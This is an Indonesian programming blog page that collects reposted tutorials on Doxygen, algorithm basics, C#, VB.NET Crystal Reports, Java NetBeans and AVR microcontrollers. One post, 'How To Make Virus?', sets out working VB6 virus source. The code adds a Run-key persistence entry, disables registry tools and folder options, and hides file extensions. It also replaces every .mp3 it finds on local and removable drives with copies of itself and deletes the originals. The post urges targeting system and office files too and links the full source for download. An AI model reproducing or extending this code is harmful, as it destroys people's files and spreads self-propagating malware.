Dokumentasi Source Code Menggunakan Tools Doxygen

Senin, Desember 15, 2008 | , | Comments

Bagi anda, seorang programmer, yang menginginkan dokumentasi kode program yang anda buat, Doxygen merupakan salah satu tools yang dapat anda gunakan untuk menghasilkan dokumentasi secara otomatis. Doxygen dapat membuatkan dokumentasi kode program bahasa C++, C, Java, Objective-C, Python, IDL (Corba dan Microsoft flavors), Fortran, VHDL, PHP, C#, dan lainnya. Hasil dokumentasi yang dibuat oleh Doxygen dapat berupa html, LaTeX, serta beberapa format lainnya.

Sebagai gambaran, anda dapat membuat kode bahasa C seperti berikut.

/**
* Fungsi untuk menjumlahkan dua bilangan
* @param[in] nilai1 argumen yang menyimpan nilai pertama untuk dijumlahkan
* @param[in] nilai2 argumen yang menyimpan nilai kedua untuk dijumlahkan
* @return nilai1 + nilai2
* @sa pengurangan, perkalian, pembagian
*/
int penjumlahan(int nilai1, int nilai2);

Dengan Doxygen, kode program tersebut dapat di-parsing dan dapat dihasilkan tampilan html seperti kedua gambar di bawah.

Screenshot hasil dokumentasi html bagian 1

Screenshot hasil dokumentasi html bagian 1

Screenshot hasil dokumentasi html bagian 2

Screenshot hasil dokumentasi html bagian 2

Untuk mendapatkan program ini, silakan di-download di http://www.doxygen.org/. Sebelum memulai menggunakan program ini, disarankan untuk membaca bagian Getting started pada Doxygen manual. Selamat mencoba! :D

Catatan, Lisensi Doxygen: GPL.

Source : baguspewe.wordpress.com


Read More...

PENGERTIAN DASAR ALGORITMA

Senin, Desember 15, 2008 | | Comments

Dalam kehidupan nyata banyak masalah yang timbul, terhadap masalah tersebut perlu dicarikan pemecahan masalah, sehingga memberikan solusi yang benar. Bila masalah tersebut dpecahkan dengan komputer maka disebut Algoritma. Secara umum algoritma adalah sejumlah langkah komputasi yang mengubah masukkan (input) menjadi keluaran (output) yang benar.

Algoritma yang masih berupa logika pemecahn selanjutnya diubah menjadi program computer (source code) menurut bahasa pemogarman tertentu, selanjutnya source code ini perlu di kompilasi oleh penejemah (compiler, interpreter), menjadi kode – kode yang dapat di mengerti dan dijalankan oleh computer. Kode ini disebut executable. Kata algoritma berasal dari nama Abu Ja’far Mohammed Ibn Musa al-Khowarizmi seorang ilmuwan Persia yang menulis buku bejudul kitab al jabr a’al-muqabala (rules of restoration and reduction). Pada Merriam-Webster’s Collegiate Dictionary isilah algorithm diartikan sebagai prosedur atau langkah demi langkah untuk memecahkan masalah atau menyelesaikan suatu tugas khususnya dalam menggunakan computer, dalam kamus besar bahasa Indonesia mendefinisikan algoritma sebagai urutan logis pengambilan keputusan untuk pemecahan masalah.

Syarat algoritma menurut Donal E.Knuth sebuah algoritma harus memenuhi syarat,
Finiteness, Algoritma harus berakhir (terminate) setelah mlakukan sejumlah langkah proses.

Definitenes, Setiap langkah algotritma harus didefinisikan dengan tepat dan tidak menimbulkan makna ganda (ambigious). Karena itu cara yang paling tepat dalam menuliskan algoritma adalah dengan menggunakan formal language (bahasa pemograman computer.

Input, setiap algoritma memerlukan data sebagai masukkan untuk diolah Output, setiap algoritma memberikan satu atau beberapa hasil keluaran. Effectiveness, langkah-langkah algoritma dikerjakan dalam waktu yang wajar.

Jenis Proses Algoritma
Langkah yang membentuk algoritma dibagi menjadi tiga kelompok proses
Sequence proses, instruksi kedua dikerjakan setelah instruksi pertama , setelah itu instruksi ketiga baru dikerjakan, instruksi dikerjakan mulai dari instruksi pertama sampai instruksi terakhir.
Selection process, suatu instruksi adakalnya baru boleh dikerjakan apabila memenuhi persyaratan tertetu.
Iteration process, suatu instruksi adakalanya perlu dikerjakan berulang-ulang selama sekian kali, atau selama kondisi masih terpenuhi.
Selain ketiga proses algoritma pada parallel programming terdapat Concurrent Process yang memungkinkan beberapa instruksi dikerjakan secara bersamaan

Tahapan Algoritma, dan penulisan program
Proses pemecahan masalah dengan algoritma tertentu hingga menjadi program dapat dibagi sembilan tahap.

Mendefinisikan masalah. Masalah yang ingin depacahkan harus jelas lingkupnya.
membuat model, yang disebut membuat model adalah bentuk matematis yang dapat digunakan untuk memecahkan masalah, apakah harus dilakukan pengurutan data, apakah menggunakan perhitungan kambinatorik, dan sebagainya.
merancang algoritma, apa masukkanya, bagaimana rincian prosessnya, apa keluaranya.
menulis program, ubah algoritma menjadi program (source code) sesuai dengan bahasa pemograman.
mengubah source code menjadi executable code melalui proses compiling.
memeriksa hasil compiling jika salah kembali ke tahap menulis program.
menjalankan program (run) untuk diuji kebenarannya menggunakan berbagai data.
memperbaiki kesalahan.
mendokumentasikan program bila sudah benar.

PRINSIP PEMOGRAMAN
Tentukan masalah sebenarnya, kesulitan terbesar dalam menuliskan program yang besar bukan dalam menentukan tujuan pemograman, atau dalam mencari cara menetukan metode yang tepat untuk memenuhi tujuan tersebut. Masalah pertama dalam menyelesaikan program besar adalah apa masalah yang sesungguhnya, tujuan yang samara, pertanyaan yang saling bertentangan, harus diterjemahkan dalam formulasi yang tepat.

Source : andri-run.blogspot.com


Read More...

Membuat Aplikasi Console C# dari Command Line

Rabu, November 05, 2008 | | Comments

Pertanyaan :
Bagaimana membuat aplikasi console dengan C# Compiler ?

Jawaban :
Pada salah satu kelas yang dibagun dibutuhkan method bertipe static dan dengan nama Main seperti salah satu dari berikut :

public static void Main();
public static void Main(string[] args);
public static int Main();
public static int Main(string[] args);


Cara mengcompilenya adalah dengan menjalankan command berikut :

csc /target:exe HaloCSharp.cs


Penjelasan:


csc adalah nama aplikasi Compiler untuk C#. file csc.exe ini terdapat pada direktori [WindowsDirektori]\Microsoft.NET\Framework\[Versi Framework]\csc.ece.


/target:exe adalah target dari aplikasi yang akan dibangun. Dimana hasil dari compile akan bertipe exe (Executable Files).


HaloCSharp.cs adalah source file yang dicompile.



Lebih lanjut: wcode.net



Technorati Tags: ,,,


Read More...

PHP Source Code - Sistem Informasi Kepegawaian

Kamis, Oktober 09, 2008 | | Comments

Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL
Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.

Download source code14

Program pendukung
1. PHP Triad15
2. My SQL16
3. PHP Editor17

Source : persada-download.blogspot.com


Read More...

VB.NET 2005 Source Code Crystal Report : Filter Crystal Report Dengan Bulan dan Tahun

Kamis, Oktober 09, 2008 | | Comments

Halouw balik lagi nih gwe setelah lama libur ga posting hehehe… Sekarang kita agak sedikit belajar nih, gwe mau berbagi ama lo semua tentang coding VB.NET 2005. Kali ini coding yang mau gwe kasih tahu adalah coding aplikasi VB.NET menggunakan Crystal Report di mana Crystal Report tersebut difilter dengan bulan dan tahun.

Pertama gwe pengin minta maaf dulu soalnya gwe lupa bikin snapshot aplikasinya jadi maaf kalo agak bingung ngikutin penjelasannya. Pertama yang gwe lakukan adalah gwe bikin sebuah form yang berisikan dua buah comboBox. comboBox yang pertama gwe namain cmbMonth yang tentunya berisikan bulan dari Januari dst. Terus untuk comboBox yang kedua gwe namain cmbYear yang berisikan tahun. Untuk tahunnya gwe isi dari tahun 1996 sampe 2010 kenapa gwe mulai dari 1996 ? soalnya gwe ngambil database Northwind tablenya Orders dimana tahun yang ada disitu dari 1996 sampe 1997, soal sampe 2010 itu sih terserah yang bikin dunks hehehehe :) . Dan gwe tambahin juga sebuah button untuk mengeksekusi perintah setelah user memberikan pilihan bulan dan tahun, button tersebut gwe namain btnSubmit. Moving on, sesudah itu gwe bikin Crystal Report dengan menggunkan database Northwind dengan table Orders, untuk ini gwe pengin minta maaf lagi soalnya column yang gwe masukin ke CR lupa apa aja, tapi tenang aja koq soalnya file aplikasinya dah gwe upload jadi you-you semua tinggal unduh aja (download maksudnya). Oya satu lagi, gwe bikin CR-nya pake wizard bukan pake blank report tapi untuk yang ini terserah aja tergantung kebutuhan dan selera mau pake yang wizard atau Blank Report. terus gwe masukin semua column yang pengin gwe tampilkan. Setelah itu gwe save CR-nya, dan berlanjut ke codingan untuk Form aplikasi Programnya, berikut ini adalah codingnya:

Public Class Form1
Dim NW_Rpt As New NW_OrderReport
Dim int_bulan As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.CrystalReportViewer1.ReportSource = NW_Rpt
End Sub

‘Private Sub cmbMonth_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbMonth.SelectedIndexChanged
‘End Sub

‘Private Sub cmbYear_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbYear.SelectedIndexChanged
‘End Sub

Private Sub btnSubmit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSubmit.Click
Try
Select Case cmbMonth.Text
Case “Januari”
int_bulan = 1
Case “Februari”
int_bulan = 2
Case “Maret”
int_bulan = 3
Case “April”
int_bulan = 4
Case “Mei”
int_bulan = 5
Case “Juni”
int_bulan = 6
Case “Juli”
int_bulan = 7
Case “Agustus”
int_bulan = 8
Case “September”
int_bulan = 9
Case “Oktober”
int_bulan = 10
Case “November”
int_bulan = 11
Case “Desember”
int_bulan = 12
End Select
CrystalReportViewer1.SelectionFormula = “{Orders.OrderDate} in datetime(” & cmbYear.Text & “,” & int_bulan.ToString() & “,1) to datetime(” & cmbYear.Text & “,” & int_bulan.ToString() & “,” & Now.Day.ToString() & “)”
CrystalReportViewer1.RefreshReport()
Catch ex As Exception
MessageBox.Show(”Report Error”, “Form Filter Report”, MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
End Class

Jadi untuk penjelasan teknisnya gimana ntu CR bisa difilter begini ceritanya. Pertama gwe bikin Selection Formula dimana SelectionFormula ini berguna untuk melakukan macam-macam rumus untuk kegunaan di CR dan salah satunya untuk filter CR itu sendiri. Untuk yang masih bingung yang mana sih SelectionFormulanya ? yang ini lho “{Orders.OrderDate} in datetime(1996,8,1) to datetime(1997,1,1)”, tapi untuk keperluan coding diatas 1996 atau tahunnya gwe ganti dengan pilihan tahun yang ada di cmbYear dan bulannya gwe ganti dengan pilihan yang yang ada di cmbMonth.

Mungkin ada yang bertanya-tanya gimana kan di cmbMonth pilhannya adanya Januari, Februari,dst sementara format yang ada di SelectionFormula berupa (YYYY,mm,dd) dan itu semua berupa angka bukan huruf. Untuk itulah gwe menggunakan coding Conditional Sytax yang dimana coding tersebut adalah Select…Case seperti diatas, Jadi dengan menggunakan coding tersebut apabila user memilih Januari, maka input yang masuk adalah bukan huruf Januari melainkan angka 1, itu berlaku juga untuk Februari adalah angka 2 begitu seterusnya untuk bulan-bulan berikutnya.

Begitulah untuk pembelajaran ini, sori kalo masih banyak salahnya, gwe hanya ingin mencoba berbagi ilmu dengan siapa saja, mudah-mudahan bermanfaat hehehe, lain kali gwe kasih lagi coding-coding atau source code lain yang mudah-mudahan berguna untuk keperluan apapun.

Aplikasi tersebut dibuat dengan Visual Studio 2005. Bahasa pemrograman VB.NET, dan menggunakan SQL Server 2005 database Northwind table Orders, dan Crystal Report bawaan Visual Studio 2005

Oya untuk yang pengin download aplikasi program diatas silahkan klik link berikut:

CR_Filter_month

Source : rockwithryan.wordpress.com


Read More...

Mini Market With VB 6 + Access & Sql

Kamis, Oktober 09, 2008 | | Comments

Ada komplain, postingan dihapus ye.. ;) Sorry


Read More...

How To Make Virus?

Selasa, September 02, 2008 | | Comments

Emang sich, virus adalah sesuatu yg tidak baik.
tapi virus ini sangat berguna.. virus ini adalah sesuatu yg dapat merusak sesuatu terutama komputer. kamu pasti tahu orang2 yg suka membajak kaset? nah untuk mencegah hal itu, kita bisa menyebarkan virus ini. ya, klo hidup gak ada music bisa mati... he2 y tapi gak ap kan bajak aj!

ciri2 virus ini adlh:

1. menon aktifkan :
- Folder Option
- Penglihatan Extensi file (.doc, .exe, .mp3), maksudnya jika kita di windows explorer bisa melihat ekstensi file maka kita tak akan melihat ekstensi file tersebut, biasa pertahanan diri gitu
- mengunci regedit (seperti biasa)
- mematikan winamp secara tiba2 jika file virus aktif
bisa dilihat pada code dibawah ini:

Dim titik As String
titik = """"

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _
titik & "c:\windows\winamp.dll.exe" & titik
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!"
Shell "taskkill /f /im winamp.exe", vbHide

2. Mencari file berekstensi .mp3 yang ada di hardisk, lihat saja code di bawah ini :

'///////////////////////Sub Perangkap Hardisk/////////////
Sub cari()
Dim ictr As Integer
'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If
' frmMain.Visible = True
End Sub
Dan kode ini untuk mencari seluruh partisi hardisk yang ada di komputer
Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next

3. Mencari dan MELAHAP SELURUH FILE MP3 TANPA AMPUN, lihat code di bawah ini:

'//////////////////////////////Sub perangkap File/////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
'Screen.MousePointer = vbHourglass
'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
'Set li = Nothing
'Screen.MousePointer = vbDefault
End Sub

Nah setelah terkena file ini maka yang akan terjadi seluruh file mp3 akan berubah menjadi .exe dan file .mp3 akan dihapus tanpa amapun....buehehehehehe....jadi ya siap - siap mem-backup hardisk anda terutama file mp3. OKeh......ih kok jahat sekali sih.....ya sekali lagi membuat virus itu harus jahat.


-------------------------------TIPS SETAN-----------------------------------
COBA YANG DICARI BUKAN FILE MP3 SAJA TAPI FILE SISTEM ATAU FILE .DOC .XLS DAN .DAT, BUKANKAH ITU MENYENANGKAN?Tapi tetep saja menjadi penghancur.....seorang virus maker yang baik tidak akan menghancurkan tapi akan membuat dunia lebih baik lewat komputer tul gak...
-------------------------------------------------------------------------------


Di sini kita hanya belajar bagai mana virus tersebut bekerja...bagaimana virus tersebut di program, sehingga kita tau jalan dan proses virus tersebut dan sekaligus menyelamatkan bangsa kita dari aktifitas pembajakan - pembajakan......soalnya NENEK MOYANGKU SEORANG PELAUT, coba nenek moyangku seorang sarjana atau seorang dermawan, pasti kita hasilnya beda kan...huahahahahaha....yang jelas program ini dapat dijadikan untuk proteksi file apa saja. Misalnya kita punya e-book gratis, lalu dibajak sama orang...ck ck ck kasian sudah gratis dibajak pula...nah untuk memberi pelajaran kepada orang itu gunakan program ini....hihihihihi...yang jelas ini ilmu dan tidak boleh disembunyikan, saya tidak bertanggung jawab atas kerusakan yang terjadi di komputer anda.

Tetapi yang jelas virus ini MASIH BANYAK KELEMAHANNYA, mungkin anda dapat mengembangkannya sendiri. Terserah ingin dikembangkan kode penyebarannya, kode pertahannannya atau judul lagunya mau di rubah, bukan Samson-Naluri Lelaki lagi, tapi mungkin lagi lain yang akhir - akhir ini sedang naik daun. kayak lagu apaaaaaaa gitu pokoknya....nah sekarang coba bedakan gambar di bawah ini, mana yang virus hayooohhhh!!!!!

Ok... kamu bisa download source code virusnya DSinI

source : gila-blog.blogspot.com

Technorati Tags: ,,


Read More...

Konsep Bahasa Pemrograman

Kamis, Agustus 21, 2008 | | Comments

Buat yang ambil jurusan Teknik Informatika, siapa c yang gak ngerti sama Algoritma dan Pemrograman?
Yah bisa dibilang pelajarannya calon programmer.

Mata kuliah ini bisa dibilang cukup asyik dan menarik. Yah menurutku begitu sih..
Setelah aku baca-baca lagi modul buatan dosenq, aku jadi kepikiran ngepost ringkasannya.
Ini bisa dibilang bab I dari Algoritma Pemrograman, yaitu tentang konsep bahasa pemrograman.

Nah yang aq tulis ini ringkasannya,, lumayan, ringkasan ini bisa bikin nilai Alproq bagus hehehe.. (gak nyombong loh... ^_^ )
Oke langsung aja yah... Kita mulai :
Konsep Bahasa Pemrograman

Definisi Program
• Adalah kumpulan instruksi-instruksi tersendiri yang biasanya disebut source code yang dibuat oleh programmer (pembuat program).
• Program adalah kumpulan instruksi atau perintah yang disusun sedemikian rupa sehingga mempunyai urutan nalar yang tepat untuk menyelesaikan suatu persoalan. (Menurut P. Insap Santosa).
• Instruksi (statement) yang dimaksud adalah syntax (cara penulisan) sesuai dengan bahasa pemrograman yang digunakan.
• Mempunyai komponen-komponen : Input, Output, Proses, Percabangan dan Perulangan.

Bahasa Pemrograman
• Adalah alat untuk membuat program
• Contoh: C, C++, C#, Pascal, Basic, Perl, PHP, ASP, JHP, Java, dll.
• Perbedaan: cara memberikan instruksi
• Persamaan: bertujuan menghasilkan output yang sama

Paradigma Pemrograman
• Pemrograman Prosedural
• Berdasarkan urutan-urutan, sekuensial
• Program adalah suatu rangkaian prosedur untuk memanipulasi data. Prosedur merupakan kumpulan instruksi yang dikerjakan secara berurutan.
• Harus mengingat prosedur mana yang sudah dipanggil dan apa yang sudah diubah.
• Pemrograman Fungsional
• Berdasarkan teori fungsi matematika
• Fungsi merupakan dasar utama program.
• Pemrograman Terstruktur
• Secara berurutan dan terstrukrtur.
• Program dapat dibagai-bagi menjadi prosedur dan fungsi.
• Contoh: PASCAL dan C
• Pemrograman Modular
• Pemrograman ini membentuk banyak modul.
• Modul merupakan kumpulan dari prosedur dan fungsi yang berdiri sendiri
• Sebuah program dapat merupakan kumpulan modul-modul.
• Contoh: MODULA-2 atau ADA
• Pemrograman Berorientasi Obyek
• Pemrograman berdasarkan prinsip obyek, dimana obyek memiliki data/variabel/property dan method/event/prosedur yang dapat dimanipulasi
• Contoh: C++, Object Pascal, dan Java.
• Pemrograman Berorientasi Fungsi
• Pemrograman ini berfokus pada suatu fungsi tertentu saja. Sangat tergantung pada tujuan pembuatan bahasa pemrograman ini.
• Contoh: SQL (Structured Query Language), HTML, XML dan lain-lain.
• Pemrograman Deklaratif
• Pemrograman ini mendeskripsikan suatu masalah dengan pernyataan daripada memecahkan masalah dengan implementasi algoritma.
• Contoh: PROLOG

Algoritma
• Asal kata Algoritma berasal dari nama Abu Ja’far Mohammed Ibn Musa al-Khowarizmi
• Ilmuan Persia yang menulis kitab al jabr w’al-muqabala (rules of restoration and reduction)
• Tahun 825 M
• Berasal dari Iran

Definisi Algoritma
• Algoritma adalah urutan langkah logis tertentu untuk memecahkan suatu masalah.
• Urutan langkah logis, yang berarti algoritma harus mengikuti suatu urutan tertentu, tidak boleh melompat-lompat.
• (Dari Microsoft Press Computer and Internet Dictionaary 1997, 1998)
• Alur pemikiran dalam menyelesaikan suatu pekerjaan yang dituangkan secara tertulis.
• Alur pikiran, sehingga algoritma seseorang dapat juga berbeda dari algoritma orang lain.
• Tertulis, yang artinya dapat berupa kalimat, gambar, atau tabel tertentu.
• (Dari Algoritma dan Struktur Data dengan C, C++, dan Java oleh Moh Sjukani hal 1)

Kriteria Algoritma (Donald E. Knuth)
• Input: algoritma dapat memiliki nol atau lebih inputan dari luar.
• Output: algoritma harus memiliki minimal satu buah output keluaran.
• Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu.
• Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role).
• Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1

Namun ada beberapa program yang memang dirancang untuk unterminatable: contoh Sistem Operasi

refrensi : http://lecturer.ukdw.ac.id/anton/

Nah ini tadi baru bab paling awal...

Kalau mau lebih dalam lagi,Tungu tanggal maennya.... gak lama koq...

Salam Penulis

source : newbie-center.blogspot.com

Technorati Tags: ,,


Read More...

Membuat program untuk pemula : Java Aplikasi “Simulasi Lampu Lalu Lintas” di Netbeans 6.0.1

Kamis, Agustus 21, 2008 | | Comments

Bagi teman-teman yang ingin mencoba buat simulasi, disini saya mencoba membuatkan simulasi Lampu Lalulitas yang sangat sederhana. Mungkin simulasi ini cocok untuk teman yang baru pertama kali mencoba. Banyak perkenalannya, dan mudah. Selamat mencoba dan semoga bermanfaat.

Membuat program di NetBeans lebih mudah dibanding menggunakan alat bantu lain nya,karena NetBeans sudah merupakan IDE (Integrated Development Environment) + RAD (Rapid Application Development).

Bisa dipakai untuk membuat program Aplikasi (standalone), Applet (jalan di web client), Servlet atau Java Server Page (jalan di web server). Di blog yang akan dipraktekkan yaitu Java Applet dan Java Aplikasi. Program aplikasi biasanya digunakan untuk membuat program yang berhubungan dengan database. Bagi yang mau unduh NetBeans, kunjungi aja www.sun.com Misalnya saja kita akan membuat program lampu lalu lintas. Pada penulisan source code, untuk memperjelas penulisan dapat kita tambahkan komentar-komentar. Komentar tidak berpengaruh pada jalannya program, tanda komentar:

   //  … komentar …	: digunakan untuk komentar satu baris
/** …komentar…. */ : digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan
hal yang berhubugan dengan kode atau jalannya program.
/* …komentar… */ : digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan
keterangan diluar kode program seperti penulis, waktu, dll.



mulai membuat program Klik menubar File –> NewProject atau tekan alt + shift + n bersamaan Kemudian akan keluar kolom seperti ini:





Pilih Java Application, klik next kemudian muncul kolom selanjutnya:





Isi nama project dengan awalan huruf besar(standar penulisan), tanpa spasi. Jangan lupa untuk Uncentang “Create main Classnya”. Jadi deh, project kosong kita….





Seperti pada gambar, klik kanan pada project kita tadi, kemudian plih New –> JFrame Form , artinya kita akan membuat kelas frame baru.





Isikan datanya, jangan lupa nama kelas dengan awalan huruf kapital, supaya standar… Kemudian isi packagenya, misalnya yang saya isikan &quotLatihan.Blog”, berarti saya akan menyimpan kelas JFrame tadi di direktori &quotsrc/Latihan/Blog” , dengan begitu kita dapat mengelompokkan kelas-kelas mana saja yang sejenis dalam satu direktori sehingga mempermudah kita jika kita ingin menggunakan kelas tersebut pada project lain dengan mengimport kelas tersebut. Lumayan lah, menghemat mengetiknya…hehe… Setelah itu, bisa kita lihat ada Frame kosong. Inilah kehebatan dari GUI (Graphics User Interface), tinggal klik dan drop. Kita akan menambahkan komponen-komponen yang diperlukan :





Bisa teman coba-coba tinggal drag & drop dari kolom sebelah kanan. Semua itu Objek. Ada Objek tombol, panel, text, dll. Kalau mau di ubah textnya, tinggal rename atau klik kanan, Edit Text sedangkan yang berhubungan dengan input-output, lebih baik diubah nama variabelnya, agar mempermudah aksesnya dengan cara klik kanan, Change Variable Name…, untuk menghilangkan keambiguan dan mencocokkan dengan teman2 variabel atau nama objek yang saya gunakan:



 



Nama objek ditulis dengan huruf kecil standarnya… kemudian pilih nama objek yang mudah di ingat sehingga bisa membedakan objek secara cepat. Selesai juga interfacenya, kalau mau di ubah-ubah atau dikasih gambar-gambar atau icon, warna, tinggal ubah-ubah menu di kotak sebelah kanan bawah, di Properties. Kemudian, kita mulai dengan koding2 deh… Klik pada bagian source, dan yah kita dapatkan lahan buat koding2…





Semua objek dari kelas Radio Button pada propertiesnya bagian enabled agar di uncentang agar tidak dapat diubah.





Kemudian, klik Button Ubah, lihat kotak kanan bawah, bagian Events, di bagian Events inilah kita dapat memberikan kelakuan-kelakuan untuk objek. Klik Action Performed –> Enter… Yah disini kita menuliskan kode apa saja yang terjadi ketika tombol ubah ini diklik.



Tambahkan juga even Mouse Entered dan Mouse Exited. Kemudian, isikan kodenya hingga bagian sourcenya seperti ini:




/*
* MainFrame.java
*
* Created on July 26, 2008, 3:14 PM
*/

package Latihan.Blog;

import java.awt.Color;

/**
* @cca
*/
public class MainFrame extends javax.swing.JFrame {

int a =2; //pesan variable a

/** Creates new form MainFrame */
public MainFrame() {

initComponents(); //memasang atau mengompile objek-objek
}

//bagian ini tidak dapat di ubah
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
Generated code..

//yang terjadi ketika tombol ubah ditekan

private void bGantiActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:

a++; //nilai a terus bertambah satu setiap di tekan
//if conditional, bagian ini mengatur warna lampu dan radio button

if(a%3 == 0){
pMerah.setBackground(Color.GRAY); //set warna
pHijau.setBackground(Color.GREEN);
rbStop.setSelected(false); //seleksi yang tidak aktif
rbGo.setSelected(true); //seleksi yang aktif
}

else if(a%3 == 1){
pHijau.setBackground(Color.GRAY);
pJingga.setBackground(Color.ORANGE);
rbGo.setSelected(false);
rbHati2.setSelected(true);
}

else {
pJingga.setBackground(Color.GRAY);
pMerah.setBackground(Color.RED);
rbHati2.setSelected(false);
rbStop.setSelected(true);
}

}

private void bGantiMouseEntered(java.awt.event.MouseEvent evt) {
// TODO add your handling code here:
setCursor(Cursor.HAND_CURSOR); //saat kursor masuk area tombol, kursor berubah bentuk
}

private void bGantiMouseExited(java.awt.event.MouseEvent evt) {
// TODO add your handling code here:
setCursor(Cursor.DEFAULT_CURSOR); //saat kursor kelua area tombol, kursor kembali seperti semula
}

/**
* @ param args the command line arguments
*/
Dst...



Pastikan bagian ini, pada gambar atas sebelah kanan, berwarna hijau yang menandakan tidak ada masalah, dan bagian tab bawah, tab run, pastikan tidak ada tulisa error dan tidak ada tulisan berwarna biru, yang berarti warning, yang terkadang membuat program kita jadi aneh, gak jalan, dst….





Lalu, run project kita, tekan gambar segitiga hijau di kanan atas (run) atau tekan F6… Jadi deh program kita…



Gimana….??? Pada program ini kita masih belum memanfaatkan fitur-fitur java. Kita hanya gunakan satu kelas, belum rumit sehingga ketidakberadaan kelas belum kita rasakan.



source : ccasp.wordpress.com






Read More...

Dasar:Mikrokontroller Atmel AVR 8 bit

Kamis, Agustus 21, 2008 | | Comments

Atmel Semiconductor sudah mengeluarkan mikrokontroller seri AVR 8 bit yang menurut saya memiliki banyak keunggulan dibandingkan seri 89C51. Keunggulan tersebut antara lain (perbandingan dengan ATMEGA32):

1. Variannya sangat banyak, mulai dari yang 8 pin sampai 64 pin
2. Memiliki internal EPROM, anda tidak perlu lagi memakai batere untuk mem-backup isi RAM
3. Memiliki 8 channel ADC 10 bit
4. Memiliki internal oscilator, sehingga bisa dikonfigurasikan tanpa Xtal.
5. Ram internal 2kb (bandingkan 89C51 yang hanya 128byte)
